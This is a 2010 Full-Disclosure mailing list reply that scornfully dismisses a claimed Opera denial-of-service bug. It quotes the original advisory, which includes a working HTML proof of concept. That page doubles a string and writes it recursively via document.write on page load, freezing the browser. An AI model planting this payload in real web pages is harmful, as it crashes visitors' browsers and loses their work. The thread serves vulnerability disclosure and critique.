full-disclosure - Re: Opera (plenitude String )Denial of Service Exploit

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Date: Wed, 3 Mar 2010 15:42:59 +1100
From: Jeff Williams <jeffwillis30@...il.com>
To: information security <informationhacker08@...il.com>,
	full-disclosure@...ts.grok.org.uk
Subject: Re: Opera (plenitude String )Denial of Service
	Exploit

You gotta be joking, this is probably the 3000th DoS "advisory" for
document.write.

Guess what sparky, even Jeremy Brown didn't post that one.

Thus no surprise exploit-db post this kind of shit.


2010/3/3 information security <informationhacker08@...il.com>

> ======================================================================
>
>                       Opera (plenitude String )Denial of Service Exploit
>                      =======================================================================
>
>                                                      by
>
>                                             Asheesh Kumar Mani Tripathi
>
>
> # code by Asheesh kumar Mani Tripathi
>
> # email informationhacker08@...il.com
>
> # company       www.aksitservices.co.in
>
> # Credit by Asheesh Anaconda
>
>
> #Download http://www.opera.com/download/
>
>
> #Background
>
> Opera is a popular internet browser :)
>
> #Vulnerability
> This bug is a typical result when attacker try to write plenitude String in
> document.write() function .User interaction is required to
>
> exploit this vulnerability in that the target must visit a malicious
> web page.
>
>
>
> #Impact
> Browser doesn't respond any longer to any user input, all tabs are no
> longer accessible, your work if any   might be lost.
>
>
>
> #Proof of concept
> copy the code in text file and save as "asheesh.html" open in Mozilla Firefox
>
> ========================================================================================================================
>
>                                                            asheesh.html
> ========================================================================================================================
>
> <html>
>
> <title>asheesh kumar mani tripathi</title>
> Asheesh kumar Mani Tripathi
> <head>
>
> <script>
> 	
> 	
> 	
> function asheesh ()
>  {
> 	var	i , anaconda = "XXXX"
> 	for(i=24;i >0 ;--i)
>
>  {
> 		anaconda=anaconda+anaconda;
> 	}
>
>     document.write(anaconda);
>
>   asheesh();
>
> }
> asheesh();
>
> </script>
> </head>
>
> <body onLoad="asheesh()"></body>
>
> </html>
>
>
>
> ========================================================================================================================
> Why do you worry without cause? Whom do you fear without reason? Who can kill you?
>
> The soul is neither born, nor does it die.
>
>
> #If you have any questions, comments, or concerns, feel free to contact me.
>
>
> _______________________________________________
> Full-Disclosure - We believe in it.
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